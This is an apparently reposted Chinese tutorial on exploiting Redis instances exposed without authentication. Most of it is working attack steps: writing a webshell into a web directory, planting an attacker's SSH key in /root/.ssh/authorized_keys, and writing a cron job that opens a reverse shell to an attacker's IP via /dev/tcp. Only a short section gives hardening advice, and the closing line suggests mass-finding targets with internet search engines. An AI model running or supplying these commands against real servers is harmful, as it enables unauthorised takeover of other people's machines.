您的位置:首页 > 数据库 > Redis

Redis未授权访问漏洞的利用姿势

2016-12-30 00:00 197 查看
本文来自:i春秋社区

0x01 Redis简介

redis是一个key-value型数据库,信息以键对应值的关系存储在内存中,当然可以把其存储至硬盘上。项目中使用redis做任务队列的存储器可以很容易实现分布式,另外也开始流行使用redis作为session的存储器来替换传统的文件方式。在默认情况下,Redis会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis的数据。

redis的配置中,有以下几个关键的点:

dir,指定的是redis的“工作路径”,之后生成的RDB和AOF文件都会存储在这里。

dbfilename,RDB文件名,默认为“dump.rdb”

appendonly,是否开启AOF

appendfilename,AOF文件名,默认为“appendonly.aof”

appendfsync,AOF备份方式:always、everysec、no

0x02 Redis之WebShell



如果服务器存在web项目,并且你知道了系统路径,我们就可以通过如下方法来获取该服务器的webshell。



即我们可以将dir设置为web目录/usr/share/nginx/html/,而dbfilename为文件名1.shell,再执行save或bgsave,则我们就可以在web目录下写入一个webshell。

0x03 Redis之SSH
攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。
首先在本地生产公私钥文件:

$ssh-keygen –t rsa




然后将公钥写入 foo.txt 文件

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt


再连接 Redis 写入文件

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit

$ redis-cli -h 192.168.1.11

$ 192.168.1.11:6379> config set dir /root/.ssh/

OK

$ 192.168.1.11:6379> config get dir

1) "dir"

2) "/root/.ssh"

$ 192.168.1.11:6379> config set dbfilename "authorized_keys"

OK

$ 192.168.1.11:6379> save

OK




这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:

$ ssh –i  id_rsa [email]root@192.168.1.xxx


即可远程利用自己的私钥登录该服务器。
当然,写入的目录不限于 /root/.ssh 下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤。

0x04 Redis之计划任务

/var/spool/cron linux机器下默认的计划任务,开启cron的时候,linux会定时去执行里面的任务,文件名为用户名
2 redis 设置dbfilename 到上面可以直接反弹shell回来
利用方式如下:

echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/xxx.xxx.xx.120/2333 0>&1\n\n"|redis-cli -h 42.121.237.xx -x set 1

redis-cli -h 42.121.237.23

42.121.237.23:6379> config set dir /var/spool/cron

OK

42.121.237.23:6379> config set dbfilename root

OK

42.121.237.23:6379> save

OK

然后本机nc -lvv 2333


这种方式简单粗暴明了,连提权都省了~
具体案例参见:https://www.secpulse.com/archives/49962.html

0x05 安全建议

1.配置bind选项,限定可以连接Redis服务器的IP,修改 Redis 的默认端口6379。
2.配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中。
3.配置rename-command 配置项 “RENAME_CONFIG”,这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度。
好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config。
参考来源:
https://www.secpulse.com/archives/5357.html
https://www.secpulse.com/archives/40406.html
http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
如何批量查找那??大家可以利用钟馗之眼fofa等搜索器!!】

更多安全技术、精品好文、白帽黑客大佬尽在:http://bbs.ichunqiu.com/portal.php
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  Redis 漏洞